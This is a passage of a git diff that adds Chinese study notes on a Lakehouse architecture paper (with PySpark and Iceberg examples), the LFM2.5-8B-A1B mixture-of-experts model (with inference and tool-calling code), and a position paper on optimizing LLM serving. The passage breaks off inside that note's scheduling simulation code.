的一部分。论文提出三类**不改变 Parquet 文件**的优化: + +1. **Caching**:在 SSD/RAM 缓存热文件;有事务层可判断缓存是否仍有效;缓存可用转码格式(如部分解压 Parquet)匹配引擎。 +2. **Auxiliary data(辅助数据)**:在 transaction log 里维护列 min-max 统计 → **data skipping**;Bloom filter 等索引放在系统可控的辅助文件中(类似 NoDB、raw data indexing 研究线)。 +3. **Data layout(数据布局)**:在 Parquet 内做记录聚簇;Delta 支持 **Z-order / Hilbert 曲线** 多维局部性,让典型分析查询少读数据。 + +典型 workload:**热数据**靠缓存接近闭源数仓;**冷数据**在对象存储上,性能主要取决于**每次查询读多少字节**——布局 + zone map 缩小 I/O。 + +### 3. 声明式 DataFrame API 连接 ML + +ML 库常用 DataFrame 做特征工程。Spark SQL 等把 DataFrame 变换**惰性求值**成查询计划,下推到 Delta Lake 数据源插件——自动用上缓存、跳过、布局优化(论文 Figure 4)。 + +TensorFlow 的 `tf.data` 等不推送语义的路径仍可直接读 Parquet 文件列表,但优化空间较小。 + +### 4. TPC-DS 基准(论文 Figure 3) + +在 scale factor **30,000**、各 **960 vCPU**、本地 SSD 的可比集群上,**Delta Engine**(Spark 上的 C++ 执行引擎 + 上述优化)与四家主流云数仓对比: + +- **查询总耗时**:与 DW1–DW4 相当或更好(图中 Delta on-demand 约 5793s 量级,部分数仓更高)。 +- **成本**:Delta on-demand / spot 在论文定价模型下**明显低于**对比数仓(spot 约 $56 vs 数仓 $153–$570 区间)。 + +冷缓存启动时 Delta Engine 仅慢约 **18%**,说明优化不完全依赖预热。 + +--- + +## 代码示例 + +### 示例 1:把 Parquet 目录升级为 Delta 表(ACID + Schema Enforcement) + +下面用 PySpark 演示 Lakehouse 最基础的「元数据层」价值:同一张逻辑表、原子写入、拒绝脏 schema。 + +```python +from pyspark.sql import SparkSession +from pyspark.sql.types import StructType, StructField, StringType, LongType + +spark = ( + SparkSession.builder + .appName("lakehouse-demo") + .config("spark.sql.extensions", + "io.delta.sql.DeltaSparkSessionExtension") + .config("spark.sql.catalog.spark_catalog", + "org.apache.spark.sql.delta.catalog.DeltaCatalog") + .getOrCreate() +) + +# 假设 s3://company-lake/orders/ 里已有一堆 Parquet 文件 +# 零拷贝:只创建 transaction log,不复制数据 +spark.sql(""" + CONVERT TO DELTA parquet.`s3://company-lake/orders/` +""") + +# 原子追加:要么整批成功,要么读者看不到半写状态 +new_rows = spark.createDataFrame( + [("ord-9001", "CN", 19900)], + ["order_id", "country", "amount_cents"], +) +new_rows.write.format("delta").mode("append").save( + "s3://company-lake/orders/" +) + +# Schema enforcement:列名/类型不匹配会直接失败,而不是 silently 污染表 +bad = spark.createDataFrame([("x",)], ["order_id"]) # 缺 country、amount_cents +try: + bad.write.format("delta").mode("append").save("s3://company-lake/orders/") +except Exception as e: + print("rejected by schema enforcement:", e) + +# Time travel:读昨天版本做审计或对账 +yesterday = spark.read.format("delta").option( + "versionAsOf", 41 +).load("s3://company-lake/orders/") +``` + +这段代码对应论文 3.2 节:元数据层把「一堆 Parquet 文件」提升为**可事务管理的数据库表**,并内置数据质量门禁。 + +### 示例 2:同一 Lakehouse 表 — BI 用 SQL,ML 用 DataFrame + +Lakehouse 的目标之一是**消除「仓给 BI、湖给 ML」的分裂**。BI 分析师和算法工程师读的是同一份 Delta 表,只是接口不同: + +```python +# --- BI 路径:标准 SQL --- +spark.sql(""" + SELECT country, + COUNT(*) AS orders, + SUM(amount_cents) / 100.0 AS revenue_usd + FROM delta.`s3://company-lake/orders/` + WHERE order_date >= DATE '2026-01-01' + GROUP BY country + ORDER BY revenue_usd DESC +""").show() + +# --- ML 路径:DataFrame 特征工程(惰性计划可下推过滤/投影)--- +from pyspark.sql import functions as F + +orders = spark.table("delta.`s3://company-lake/orders/`") +buyers = ( + orders + .filter(F.col("customer_segment") == "buyer") + .select("order_date", "zip", "amount_cents") + .fillna({"amount_cents": 0}) +) + +# MLlib / 其他 Spark ML 库直接 consume buyers +# 引擎会通过 Delta 数据源插件应用 statistics skipping、Z-order 布局、节点缓存 +train = buyers.filter(F.col("order_date") < "2026-06-01") +``` + +论文 Figure 4 的 Spark MLlib 流程与此一致:`users[users.kind == "buyer"]` 等操作被优化器下推,Delta 客户端决定读哪些分区、是否命中 cache——**ML 数据准备享受与 SQL 相同的 Lakehouse 优化**。 + +### 示例 3(可选):Iceberg 的等价 SQL DDL + +若团队选 Apache Iceberg 而非 Delta,思想相同——开放 Parquet + 表级事务: + +```sql +-- Spark + Iceberg catalog +CREATE TABLE warehouse.orders ( + order_id STRING, + country STRING, + amount_cents BIGINT +) USING iceberg +PARTITIONED BY (country); + +INSERT INTO warehouse.orders VALUES ('ord-1', 'CN', 9900); + +-- 时间旅行(Iceberg snapshots) +SELECT * FROM warehouse.orders FOR SYSTEM_TIME AS OF TIMESTAMP '2026-06-01 00:00:00'; +``` + +--- + +## Lakehouse 系统组件(论文 Figure 2) + +``` +┌─────────────────────────────────────────────────────────┐ +│ SQL API Declarative DataFrame API │ +├─────────────────────────────────────────────────────────┤ +│ Metadata, Caching, and Indexing Layer │ +│ (Delta Lake / Iceberg / Hudi) │ +│ · 事务 / 版本 / 治理 │ +│ · 缓存 · 统计 · Bloom · Z-order 布局 │ +├─────────────────────────────────────────────────────────┤ +│ Data files in open format (Parquet / ORC) │ +│ on low-cost object store (S3, ADLS, GCS, HDFS) │ +└─────────────────────────────────────────────────────────┘ +``` + +上层多种引擎(Spark SQL、Presto、Flink、甚至 Snowflake/BigQuery 读 Iceberg)可**并行**读同一存储;GPU 集群跑训练、SQL 集群跑报表,无需再复制一份到专有仓格式。 + +--- + +## 与相关系统的关系 + +| 方向 | 关系 | +|------|------| +| **云原生数仓**(Snowflake、BigQuery) | 存算分离做得好,但多数企业主数据仍在湖;数仓已支持 external Parquet 表,却**无法对湖数据提供与内部表同等的 ACID/索引** | +| **Hive / Presto / Athena** | 直接查湖,但早期缺事务;Hive ACID、Delta/Iceberg 补上了管理特性 | +| **纯 ML 特征仓库**(Feast、DVC) | 很多在重造 DBMS 已有功能;论文认为可直接建在 Lakehouse 事务与版本之上 | +| **HTAP** | 或可经 Lakehouse 事务 API 归档 operational 快照,在一致快照上混合分析 | + +--- + +## 开放问题(论文第 4 节摘要) + +- 事务日志放 S3(低延迟限制 TPS)vs 独立元数据存储的权衡。 +- 单表事务 → **跨表事务**扩展。 +- 是否设计**下一代开放列存格式**(比 Parquet 更利于布局/索引),同时保持多引擎可读。 +- Serverless 查询引擎如何与 rich metadata layer 集成以降低延迟。 +- **Data Mesh** 分布式数据产品:Lakehouse 让各团队通过对象存储共享数据集,无需共享同一计算集群。 + +--- + +## 读完这篇论文,零基础该记住什么 + +1. **Lakehouse 不是又一个产品名**,而是一种架构:**开放文件 + 事务元数据 + 计算引擎优化**。 +2. 它要解决的不是「SQL 快不快」 alone,而是 **ETL 复杂度、数据陈旧、ML 接不上、厂商锁定** 一整套企业数据痛点。 +3. **Delta Lake / Iceberg / Hudi** 是 2021 年前后工业界落地元数据层的三条主路线;今天选哪一个常是组织与生态问题,原理相通。 +4. 性能路径是:**热数据缓存 + 冷数据少读字节**;不是把 Parquet 换成黑盒专有格式。 +5. 若你所在团队仍是「湖进 raw、仓进 curated、ML 再导第三份」,这篇论文给出了清晰的收敛方向——**一份 curated 数据,多种引擎读**。 + +--- + +## 延伸阅读 + +- Delta Lake 系统论文:*Delta Lake: High-Performance ACID Table Storage over Cloud Object Stores*(VLDB 2020) +- 三格式对比:*Analyzing and Comparing Lakehouse Storage Systems*(CIDR 2023) +- 本仓库:[[starrocks]](Lakehouse 直读)、[[databend]](Iceberg 外部表) + +--- + +## 参考 + +- Armbrust, M., Ghodsi, A., Xin, R., & Zaharia, M. (2021). *Lakehouse: A New Generation of Open Platforms that Unify Data Warehousing and Advanced Analytics.* CIDR 2021. +- https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf diff --git a/src/content/docs/papers/lfm2-5-8b-a1b-moe.md b/src/content/docs/papers/lfm2-5-8b-a1b-moe.md new file mode 100644 index 000000000..75256321c --- /dev/null +++ b/src/content/docs/papers/lfm2-5-8b-a1b-moe.md @@ -0,0 +1,300 @@ +--- +title: LFM2.5-8B-A1B — 38T 预训练的边缘 MoE 个人助手 +来源: 'Liquid AI, "LFM2.5-8B-A1B: An Even Better On-Device Mixture of Experts", Liquid AI Blog, 2026; LFM2 Technical Report, arXiv:2511.23404' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:带专家会诊台的随身翻译 + +想象你随身带了一个「小型咨询中心」,墙上挂着 **32 位专科顾问** 的名牌,但规则是:**每回答一个问题,只允许 4 位顾问同时开口**。 + +- 中心名义上拥有 **8B 量级的知识储备**(32 位顾问各自训练过不同领域)。 +- 你每次提问真正消耗的算力,却接近 **1.5B 活跃参数** 的小团队——因为路由器只会点亮 Top-4 专家。 +- 新版 LFM2.5 还换了一本 **128K 页的大记事本**(上下文从 32K 扩到 128K),并且顾问在正式答复前会先写一段 **「思考过程」**(reasoning-only / Chain-of-Thought),再给出最终答案。 + +Liquid AI 在 2026 年 5 月发布的 **LFM2.5-8B-A1B**,名字里的 **8B** 指总参数量级,**A1B** 指每次 forward 大约 **1.5B active parameters**。它把预训练数据从上一代 LFM2-8B-A1B 的 **12T tokens** 扩到 **38T tokens**,目标不是云端巨模型,而是 **笔记本、手机、单卡 GPU 上可本地运行的 Agent 助手**——能链式调用工具、读长文档、且数据不出设备。 + +--- + +## 是什么 + +**LFM2.5-8B-A1B** 是 Liquid AI **LFM2.5** 家族中的 **Mixture-of-Experts(MoE)** 文本模型,面向: + +- **端侧部署**:llama.cpp(GGUF)、MLX(Apple Silicon)、ONNX、vLLM、SGLang 首日支持。 +- **Agent / 工具调用**:BFCL、Tau² 等 agentic 基准上可与更大 MoE 竞争。 +- **长上下文**:**128K** token 窗口,适合整份 PDF、长对话、长工具轨迹。 +- **推理优先输出**:post-trained 版本为 **reasoning-only**,先显式 CoT,再给最终答案。 + +Hugging Face 权重: + +- `LiquidAI/LFM2.5-8B-A1B` — 通用对话 + 推理 + 工具 +- `LiquidAI/LFM2.5-8B-A1B-Base` — 预训练基座,供微调 + +官方推荐采样:`temperature=0.2`,`top_k=80`,`repetition_penalty=1.05`。 + +--- + +## 为什么重要 + +### 1. 稀疏激活把「质量」和「延迟」拆开 + +Dense 8B 模型每 token 都要跑满 8B 参数。MoE 把 **存储(总参数)** 与 **计算(活跃参数)** 解耦:路由器为每个 token 选少量专家,使 **8B 级知识密度** 配上 **~1.5B 级 decode 成本**。LFM2 Technical Report 指出:LFM2-8B-A1B 在约 **1.5B 级延迟** 下可达 **3–4B dense 级质量**——LFM2.5 在此基础上叠加 38T 预训练与 RL。 + +### 2. 38T 预训练 + 针对性 RL,专治小模型的两大顽疾 + +边缘模型参数少,天然 **知识边界窄、爱胡说**。Liquid 的两条 RL 线值得记: + +| 问题 | 手段 | 效果(相对 LFM2-8B-A1B) | +|------|------|---------------------------| +| **幻觉** | avg@k 奖励,鼓励「不知道就说不知道」 | AA-Omniscience **Non-Hallucination Rate** 7.46% → **63.47%** | +| **推理死循环(doom loop)** | 偏好优化 + 惩罚 "Wait…" 等重启词 | 长 CoT 轨迹更稳定 | + +### 3. 128K 与 128K 词表:长文档 + 多语言端侧 + +- **上下文**:先 2T token midtraining 到 32K(推理/数学/工具/长文),再提高 RoPE base θ + 400B token 到 **128K**。 +- **词表**:65K → **128K BPE**(原地扩展,新 embedding 用子词均值初始化),泰语 chars/token **+238%**,印地语 **+120%**,阿拉伯语 **+39%**——同样文本更短、推理更快。 + +### 4. 生态位:本地 Private Agent + +官方 **Localcowork** 演示:单笔记本 + 67 工具 / 13 个 MCP server,无云、无 API Key。LFM2.5 在 M5 Max 上约 **253 tok/s**(<6GB),手机上约 **30 tok/s**——工具 dispatch 亚秒级,适合「问 → 提议 → 确认 → 执行」循环。 + +--- + +## 核心概念 + +### 1. LFM2 混合骨干(Hybrid Backbone) + +LFM2 不是纯 Transformer。经 **hardware-in-the-loop 架构搜索** 得到的最小混合结构: + +| 组件 | 作用 | +|------|------| +| **Gated short convolution(LIV 块)** | 局部、输入感知的短程依赖;18/24 层为 double-gated LIV | +| **GQA(Grouped-Query Attention)** | 6/24 层;KV head 共享,省 KV cache 显存 | +| **MoE SwiGLU FFN** | 32 experts,**Top-4** / token;前 2 层保持 dense 稳定训练 | + +LFM2-8B-A1B 规格(LFM2.5 沿用同一骨架):24 层,`d_model=2048`,32 query heads / 8 KV heads,MoE `FF=1792` × 32 experts。 + +### 2. MoE 路由与 A1B 命名 + +每个 token 经过 **sigmoid router + adaptive routing bias**(DeepSeek 式负载均衡),选 **4/32** 专家。总参 **8.3B**,活跃约 **1.5B**——社区简写 **8B-A1B**(Active ~1B 量级四舍五入)。 + +直觉:**专家 = 不同「子网络技能包」**;路由 = **按 token 动态组队**。 + +### 3. Reasoning-only:先想后答 + +LFM2.5 post-trained 版 **强制** 输出 CoT 再答。MoE 在 compute-bound 场景下,**多写几个思考 token 的边际成本很低**(仍只激活 1.5B),因此用「多想几步」换 IFEval、MATH、Agent 任务上的质量——IFEval **79.44 → 91.84**(对比 LFM2-8B-A1B)。 + +### 4. 训练流水线(38T 从哪来) + +```text +[LFM2-8B-A1B 基座] + → 词表扩展 65K→128K(embedding 适配 + continued pretrain) + → 大规模 continued pretrain(累计至 ~38T tokens 规模) + → 2T midtraining:32K 上下文(推理/数学/工具/长文档) + → 400B midtraining:RoPE θ 调整 → 128K + → RL:幻觉 avg@k、doom loop 偏好优化、指令/Agent 对齐 + → LFM2.5-8B-A1B +``` + +**38T** 是相对上一代 **12T** 的预训练规模跃迁;exact 数据 mix 未完全公开,但官方强调 **tool-use、长轨迹、多语言** 比重上升。 + +### 5. 与相近模型对比(官方博客摘录) + +| 模型 | 总/活跃参数 | IFEval | MATH500 | BFCLv3 | Tau² Telecom | +|------|-------------|--------|---------|--------|--------------| +| **LFM2.5-8B-A1B** | 8B / 1.5B | **91.84** | **88.76** | **64.79** | **88.07** | +| Granite-4.0-H-Tiny | 7B / 1B | 82.23 | 59.20 | 56.89 | 16.67 | +| Qwen3-30B-A3B-Thinking | 30.5B / 3.3B | 90.82 | 86.48 | 73.39 | 21.93 | +| Gemma-4-26B-A4B-IT | 26B / 4B | 91.40 | 94.20 | 68.87 | 42.11 | + +小激活参数量下,**指令遵循 + 电信 Agent 场景** 表现突出;数学上 Qwen3-30B-A3B 仍更强,但 LFM2.5 的 **吞吐与端侧 footprint** 是差异化卖点。 + +### 6. 部署格式选型 + +| 格式 | 场景 | +|------|------| +| 原生 HF / vLLM / SGLang | GPU 服务、微调 | +| GGUF + llama.cpp | CPU / 跨平台边缘 | +| MLX | Mac Apple Silicon | +| ONNX | 跨加速器推理 | + +--- + +## 代码示例 1:Transformers 本地对话(官方 Quick Start) + +需要 `transformers>=5.0.0`,GPU 上可开 `flash_attention_2`。 + +```python +from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer + +model_id = "LiquidAI/LFM2.5-8B-A1B" + +model = AutoModelForCausalLM.from_pretrained( + model_id, + device_map="auto", + dtype="bfloat16", + # attn_implementation="flash_attention_2", # 兼容 GPU 可取消注释 +) +tokenizer = AutoTokenizer.from_pretrained(model_id) +streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True) + +messages = [ + {"role": "user", "content": "用三句话解释 Mixture-of-Experts 为什么适合端侧 Agent。"} +] + +input_ids = tokenizer.apply_chat_template( + messages, + add_generation_prompt=True, + return_tensors="pt", + tokenize=True, +).to(model.device) + +output = model.generate( + input_ids, + do_sample=True, + temperature=0.2, + top_k=80, + repetition_penalty=1.05, + max_new_tokens=2048, + streamer=streamer, +) +``` + +**观察要点**:输出里通常会先出现 **思考/推理段落**,再给出精简结论——这是 reasoning-only 训练的结果,解析下游答案时可能需要按模板切分 CoT 与 final answer。 + +--- + +## 代码示例 2:结构化工具调用(Agent 最小闭环) + +LFM2.5 强调 **native tool calling**。下面用 OpenAI 兼容的 `tools` 字段演示「查天气 → 模型决定是否调用函数」——实际 schema 以 tokenizer chat template 为准;生产环境建议直接用 Liquid 文档中的 tool 模板或 vLLM tool parser。 + +```python +import json +from transformers import AutoModelForCausalLM, AutoTokenizer + +model_id = "LiquidAI/LFM2.5-8B-A1B" +model = AutoModelForCausalLM.from_pretrained(model_id, device_map="auto", dtype="bfloat16") +tokenizer = AutoTokenizer.from_pretrained(model_id) + +tools = [ + { + "type": "function", + "function": { + "name": "get_weather", + "description": "查询指定城市的当前天气", + "parameters": { + "type": "object", + "properties": { + "city": {"type": "string", "description": "城市名,如 Shanghai"}, + "unit": {"type": "string", "enum": ["celsius", "fahrenheit"]}, + }, + "required": ["city"], + }, + }, + } +] + +def fake_get_weather(city: str, unit: str = "celsius") -> dict: + return {"city": city, "temp": 26, "unit": unit, "condition": "cloudy"} + +messages = [ + {"role": "user", "content": "上海现在天气怎么样?如果需要工具就调用。"}, +] + +# 多数 Liquid chat template 支持 tools= 参数(以当前 tokenizer 文档为准) +prompt_ids = tokenizer.apply_chat_template( + messages, + tools=tools, + add_generation_prompt=True, + return_tensors="pt", + tokenize=True, +).to(model.device) + +generated = model.generate( + prompt_ids, + max_new_tokens=512, + temperature=0.2, + top_k=80, + repetition_penalty=1.05, +) +text = tokenizer.decode(generated[0], skip_special_tokens=True) +print(text) + +# 若模型输出 function call,解析后执行并回灌(第二轮) +# observation = fake_get_weather("Shanghai") +# messages += [{"role": "assistant", "content": text}, +# {"role": "tool", "name": "get_weather", "content": json.dumps(observation)}] +# ... 再次 apply_chat_template + generate +``` + +**Agent 设计提示**: + +1. **128K 上下文** 可塞入较长 tool 文档 + 多轮轨迹,但仍应做 observation 摘要,避免噪音淹没路由。 +2. 小模型 **知识边界** 有限——对 factual QA 应配合检索或允许模型 **拒答**(RL 已强化 abstention)。 +3. 链式工具调用时监控 **doom loop**;若出现反复 "Wait…",降低 `max_new_tokens` 或加 stop sequences。 + +--- + +## 代码示例 3:llama.cpp 量化推理(边缘 CPU) + +适合无独显笔记本;需先下载 `LFM2.5-8B-A1B-GGUF`。 + +```bash +# 示例:Q4_K_M 量化,交互式 chat +./llama-cli \ + -m LFM2.5-8B-A1B-Q4_K_M.gguf \ + -c 8192 \ + --temp 0.2 \ + --top-k 80 \ + --repeat-penalty 1.05 \ + -p "你好,请用一句话介绍 LFM2.5 MoE。" +``` + +`-c` 为上下文槽位;要跑满 128K 需更大 RAM 并提高 `-c`(实际受机器内存限制)。官方称 entry-level laptop 仍可舒适运行。 + +--- + +## 零基础心智模型:读名字、读基准、读部署 + +1. **LFM2.5-8B-A1B** = Liquid 第 2.5 代、8B 总参数、约 1.5B 激活的 MoE。 +2. **38T tokens** = 相对 12T 的预训练扩容,是能力跃迁的主因之一(外加 RL 与 128K midtraining)。 +3. **128K + tool calling + reasoning** = 面向 **本地 Agent**,不是单纯聊天 Bot。 +4. **选模型**:要微调用 Base;要开箱 Agent 用 post-trained;要 Mac 本地优先试 MLX/GGUF。 + +--- + +## 局限与使用注意 + +| 风险 | 说明 | +|------|------| +| **知识上限** | 8B 级 MoE 仍会在冷门事实上幻觉;应依赖 RAG 或接受拒答 | +| **CoT 开销** | reasoning-only 增加输出 token 数;虽单 token 便宜,但总延迟仍随 CoT 长度上升 | +| **MoE 实现** | 需框架支持稀疏路由;错误实现可能退化为慢速 dense | +| **多语言** | 词表改进不等于文化/事实对齐;低资源语言仍需谨慎评测 | +| **训练成本** | 38T 预训练碳足迹大;端侧收益是推理阶段私有化,不是训练环保 | + +--- + +## 与相关工作的关系 + +- **LFM2 Technical Report(arXiv:2511.23404)**:给出 hybrid backbone、MoE 32×Top-4、硬件协同搜索的完整规格——读 LFM2.5 前先读 LFM2 一节即可建立架构直觉。 +- **DeepSeek-V2/V3 式 MoE 路由**:负载均衡 bias、sigmoid gate 属同一族稀疏 FFN 设计。 +- **Qwen3 / Gemma 4 小 MoE**:同赛道对比对象;LFM2.5 差异化在 **Liquid 卷积混合层 + 端侧吞吐优化 + LEAP 移动端栈**。 + +--- + +## 进一步阅读 + +- [Liquid AI 发布博客](https://www.liquid.ai/blog/lfm2-5-8b-a1b) +- [官方模型文档](https://docs.liquid.ai/lfm/models/lfm25-8b-a1b) +- [Hugging Face: LiquidAI/LFM2.5-8B-A1B](https://huggingface.co/LiquidAI/LFM2.5-8B-A1B) +- [LFM2 Technical Report (arXiv:2511.23404)](https://arxiv.org/html/2511.23404) + +--- + +## 小结 + +**LFM2.5-8B-A1B** 把 **MoE 稀疏计算**、**38T 规模预训练**、**128K 长上下文** 和 **面向 Agent 的 RL** 打包成可本地部署的 open-weight 模型:名义 8B 知识、约 1.5B 激活算力、强调工具链式调用与低幻觉拒答。对零基础学习者,记住一句话即可:**它是为「躺在你笔记本里的私人 Agent」设计的 MoE,而不是为数据中心峰值榜设计的巨模型。** diff --git a/src/content/docs/papers/llm-serving-needs-math.md b/src/content/docs/papers/llm-serving-needs-math.md new file mode 100644 index 000000000..09ac83fde --- /dev/null +++ b/src/content/docs/papers/llm-serving-needs-math.md @@ -0,0 +1,377 @@ +--- +title: LLM Serving Needs Mathematical Optimization, Not Just Heuristics — 零基础学习笔记 +来源: 'Zijie Zhou, "Position: LLM Serving Needs Mathematical Optimization and Algorithmic Foundations, Not Just Heuristics", arXiv:2605.01280, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:外卖调度,不能照搬「先来先服务」 + +想象你经营一家大型外卖厨房,同时接几百单: + +- 有些订单是「只做前菜」(**prefill**:一次性处理整段输入 prompt,算力密集)。 +- 有些订单要「边做边上菜,每上一道菜还要占一个保温格」(**decode**:逐 token 生成,每步都要读写不断变长的 **KV cache**,更吃内存带宽)。 +- 你事先**不知道**每单最终要做几道菜(**输出长度未知**)。 +- 保温格有限,满了就得踢掉一单,前面做的前菜全白费(**KV 溢出 → 驱逐 → 浪费已算 prefill**)。 + +老派调度员会怎么做?**先来先服务(FIFO)**、**轮询派单(round-robin)**、保温格满了就踢**最久没动过的**(**LRU**)。这些规则在普通 Web 服务器、数据库连接池里用了二十年,简单、好实现。 + +但 LLM 推理有个坑:**每单的「占用空间」会随着上菜进度单调变大**,而且不同阶段的瓶颈完全不同(prefill 像炒菜台,decode 像保温架)。用 Web 时代的经验硬套,在 benchmark 上可能还行,一旦遇到爆款活动、超长对话、MoE 模型里某几个专家被打爆,系统会在**负载边界**突然雪崩——latency 飙升、GPU 空转、成本失控。 + +这篇 **ICML 2026 Position Paper**(Zijie Zhou)的核心主张是:**LLM serving 已经长大,不能再靠「够用就行」的启发式;需要把问题写成数学模型,设计出带可证明保证的算法。** 就像航空业用线性规划推导出「bid price」卖票策略,最终落地成 O(1) 的 accept/reject 规则,三十年带来数十亿美元增量——LLM serving 也需要同样的「建模 → 洞察 → 可部署策略」流水线。 + +--- + +## 是什么 + +这是一篇 **立场论文(position paper)**,不是新系统实现,而是: + +1. **诊断**:vLLM、SGLang 等主流 serving 栈在架构上创新很多(continuous batching、PagedAttention、PD 分离、MoE),但**决策层**仍大量继承经典分布式计算的启发式。 +2. **论证**:LLM 推理有独特的结构(两阶段、KV 动态增长、输出长度未知、continuous batching 耦合),通用启发式**无法系统性利用**这些结构。 +3. **呼吁**:把路由、调度、缓存驱逐、容量规划、MoE 负载均衡等问题**形式化**,引入运筹学 / 在线算法 / 排队论,追求**最坏情况保证、容量下界、工程蓝图**——而不只是 ShareGPT trace 上的平均表现。 + +论文信息: + +| 项目 | 内容 | +|------|------| +| 标题 | LLM Serving Needs Mathematical Optimization and Algorithmic Foundations, Not Just Heuristics | +| 作者 | Zijie Zhou | +| arXiv | [2605.01280](https://arxiv.org/abs/2605.01280) | +| 类型 | ICML 2026 Position Paper | + +--- + +## 为什么重要 + +### 1. 规模已经大到「几个百分点就是天文数字」 + +头部厂商每天服务**数十亿**次推理请求;单次集群成本可达**每天数十万美元**量级。能源消耗以**吉瓦时**计。在这种规模下,调度算法哪怕只提升 5%–10% 吞吐或降低 tail latency,都是巨大的金钱与碳排放节省。 + +### 2. 启发式在「平均 case」和「边界 case」之间断层 + +FIFO、JSQ、LRU 在常见 trace 上看起来「够好」,但生产环境会遇到: + +- 产品发布时的**流量尖峰** +- 多轮 Agent 导致的**超长 decode** +- MoE 里**热点专家**造成的 straggler +- 多模态场景里**高分辨率视频**重复编码 + +启发式缺少**最坏情况保证**:在 adversarial 或漂移 workload 下可能**静默失败**——不是 crash,而是 latency 和成本缓慢恶化,直到运维加机器。 + +### 3. 理论不是「纸上求解器」,而是「揭示好算法的结构」 + +论文反复强调航空 revenue management 的先例:航空公司并不是对每个订票请求在线解 LP,而是用 LP 的对偶变量得到 **bid price**,部署成 O(1) 规则。数学优化的价值在于**分析车辆**,告诉你哪些约束 binding、哪些目标重要——工程师再据此设计轻量启发式,而不是盲目调参。 + +--- + +## 核心概念 + +### 1. Prefill vs Decode:两阶段不对称 + +| 阶段 | 做什么 | 典型瓶颈 | 资源画像 | +|------|--------|----------|----------| +| **Prefill** | 并行处理整个 prompt | 算力(FLOPs) | compute-bound | +| **Decode** | 自回归逐 token 生成 | 读 KV cache | memory-bandwidth-bound | + +同一请求在不同阶段需要**不同的硬件与批处理策略**,这也是 **prefill-decode disaggregation**(Splitwise、DistServe 等)兴起的根源。用单一 FIFO 队列混合两阶段,等于用同一套规则管「炒菜」和「保温」。 + +### 2. KV Cache:动态、单调增长、大小未知 + +每生成一个 token,各层都要追加 K/V 向量。因此: + +- 内存占用 ≈ `prompt_len + 已生成 token 数` +- **到达时不知道**最终占用多少(输出长度未知) +- 超出 GPU 容量 → **驱逐** → 可能浪费已完成的 prefill 计算 + +这把经典「job 大小固定」的调度问题,变成了 **「放进 bin 之后 item 还会长大」的在线 bin packing**——溢出代价极高。 + +### 3. Continuous Batching:请求命运耦合 + +Orca / vLLM 的 continuous batching 允许请求在 decode 过程中**动态进出 batch**。一个 slot 空出来时,调度器要决定**接哪条等待队列里的请求**——这是带 memory constraint 的在线 admission control,而不是简单的 FCFS。 + +### 4. 四层典型决策问题(论文 Section 2 框架) + +```text + ┌─────────────────────────────────────┐ + 请求进入 ────────►│ 2.2 DP 路由:分到哪个 decode worker? │──► sticky assignment + └─────────────────────────────────────┘ + │ + ┌───────────────────▼───────────────────┐ + │ 2.1 MoE EP:token 如何均衡到各 GPU? │──► all-to-all 同步 + └─────────────────────────────────────┘ + │ + ┌───────────────────▼───────────────────┐ + │ 2.3 Worker 内调度 + 容量规划 │──► FCFS / 阈值准入 + └─────────────────────────────────────┘ + │ + ┌───────────────────▼───────────────────┐ + │ 2.4 多模态 embedding 缓存驱逐 │──► LRU + └─────────────────────────────────────┘ +``` + +### 5. 启发式 vs 形式化:对照表 + +| 决策点 | 常见启发式 | 忽略的 LLM 结构 | 形式化方向 | +|--------|------------|-----------------|------------| +| 路由 | round-robin, JSQ, power-of-two | decode 长度未知、KV 线性增长、sticky | 在线整数规划 + 短 horizon 预测 | +| Worker 调度 | FCFS | 输出长度、KV footprint | 最短作业优先 / 阈值准入(WAIT) | +| MoE 均衡 | auxiliary loss, 噪声路由 | 推理时 batch 内即时重分配 | 线性规划(LPLB) | +| 缓存驱逐 | LRU | 对象大小异质、miss 代价差异 | 最小期望代价(LEC) | +| 扩缩容 | 队列深度 / GPU 利用率 | 内存稳定性 vs 计算稳定性 | 排队论闭式稳定条件 | + +### 6. 理论带来的四类收益 + +1. **最坏情况鲁棒性**:competitive ratio,对抗任意 arrival 序列。 +2. **容量规划下界**:部署前算「最少需要多少 GPU 才稳定」。 +3. **算法结构指导工程**:LP 对偶 → 阈值策略;fluid model → 准入规则。 +4. **最优性基线**:知道离理论极限还有多远,避免过度优化。 + +--- + +## 代码示例 1:用 Python 模拟「KV 增长 + FCFS 的隐患」 + +下面是一个**教学级**离散事件模拟,展示为什么 FCFS 在「短请求 + 长请求混合、KV 有限」时 tail latency 会变差。真实 vLLM 复杂得多,但直觉一致。 + +```python +from dataclasses import dataclass, field +from collections import deque +import heapq + +@dataclass(order=True) +class Request: + arrival: float + prompt_tokens: int + output_tokens: int # 真实系统里到达时未知;这里上帝视角用于对比 + started: float = field(default=0.0, compare=False) + finished: float = field(default=0.0, compare=False) + +def kv_units(req: Request, step: int) -> int: + """每 decode 步 KV 占用 ~ prompt + 已生成 token 数""" + return req.prompt_tokens + step + +def simulate(queue_policy: str, requests: list[Request], kv_cap: int, batch_cap: int): + """ + queue_policy: 'fcfs' 或 'sjf'(按 predicted 输出长度优先,近似 shortest-job-first) + """ + now = 0.0 + waiting = deque(sorted(requests, key=lambda r: r.arrival)) + active: list[tuple[int, Request, int]] = [] # (remaining_decode, req, current_step) + done: list[Request] = [] + + while waiting or active: + # 准入:有空 slot 且 KV 够 + while waiting and len(active) < batch_cap: + r = waiting[0] + need = r.prompt_tokens # prefill 后第一步 decode 的 KV + used = sum(kv_units(a[1], a[2]) for a in active) + if used + need > kv_cap: + break + waiting.popleft() + r.started = now + active.append((r.output_tokens, r, 0)) + + if not active: + now = waiting[0].arrival + continue + + # 所有 active 请求推进一步 decode + now += 1.0 + next_active = [] + for rem, r, step in active: + if rem <= 1: + r.finished = now + done.append(r) + else: + next_active.append((rem - 1, r, step + 1)) + active = next_active + + # 排序 waiting(SJF 近似:已知/预测 output 越短越先) + if queue_policy == "sjf" and waiting: + tmp = list(waiting) + waiting = deque(sorted(tmp, key=lambda r: r.output_tokens)) + + return sum(r.finished - r.arrival for r in done) / len(done) + +# 混合 workload:大量短问答 + 少量超长 Agent 任务 +mixed = [] +for i in range(20): + mixed.append(Request(arrival=i * 0.5, 